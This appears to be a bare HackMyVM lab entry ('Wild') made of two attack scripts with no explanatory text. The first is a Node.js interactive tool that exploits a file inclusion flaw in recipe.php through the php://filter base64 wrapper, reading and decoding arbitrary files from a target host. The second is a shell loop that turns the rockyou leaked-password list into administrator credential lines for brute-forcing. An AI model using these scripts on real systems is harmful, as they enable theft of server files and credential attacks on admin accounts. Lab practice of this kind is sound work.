HMV: Wild

a.js

const axios = require("axios");
const readline = require("readline");
const cheerio = require("cheerio");

const colors = {
  reset: "\x1b[0m",
  bright: "\x1b[1m",
  dim: "\x1b[2m",
  underscore: "\x1b[4m",
  blink: "\x1b[5m",
  reverse: "\x1b[7m",
  hidden: "\x1b[8m",
  black: "\x1b[30m",
  red: "\x1b[31m",
  green: "\x1b[32m",
  yellow: "\x1b[33m",
  blue: "\x1b[34m",
  magenta: "\x1b[35m",
  cyan: "\x1b[36m",
  white: "\x1b[37m",
};

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

function get(req) {
  axios
    .get(
      `http://192.168.1.13/recipe.php?file=php://filter/convert.base64-encode/resource=${req}`,
    )
    .then((res) => {
      const $ = cheerio.load(res.data);
      const html = res.data;
      const htmlEndIndex = html.lastIndexOf("</html>");
      const extractedContent = html.substring(htmlEndIndex + "</html>".length);
      const decodedString = Buffer.from(
        extractedContent.trim(),
        "base64",
      ).toString("utf-8");
      console.log(`${decodedString}`);
      prompt();
    })
    .catch((err) => {
      console.error("[-] Error: ", err);
      prompt();
    });
}

function prompt() {
  rl.question(`${colors.blue}cmd>${colors.reset} `, (input) => {
    if (input.trim() == "exit") {
      rl.close();
    } else {
      get(input);
    }
  });
}

prompt();

a.sh

#! /bin/bash
while IFS= read -r line; do
    echo -ne "administrator:ManagementRealm:$line\n"
done </opt/seclists/Passwords/Leaked-Databases/rockyou.txt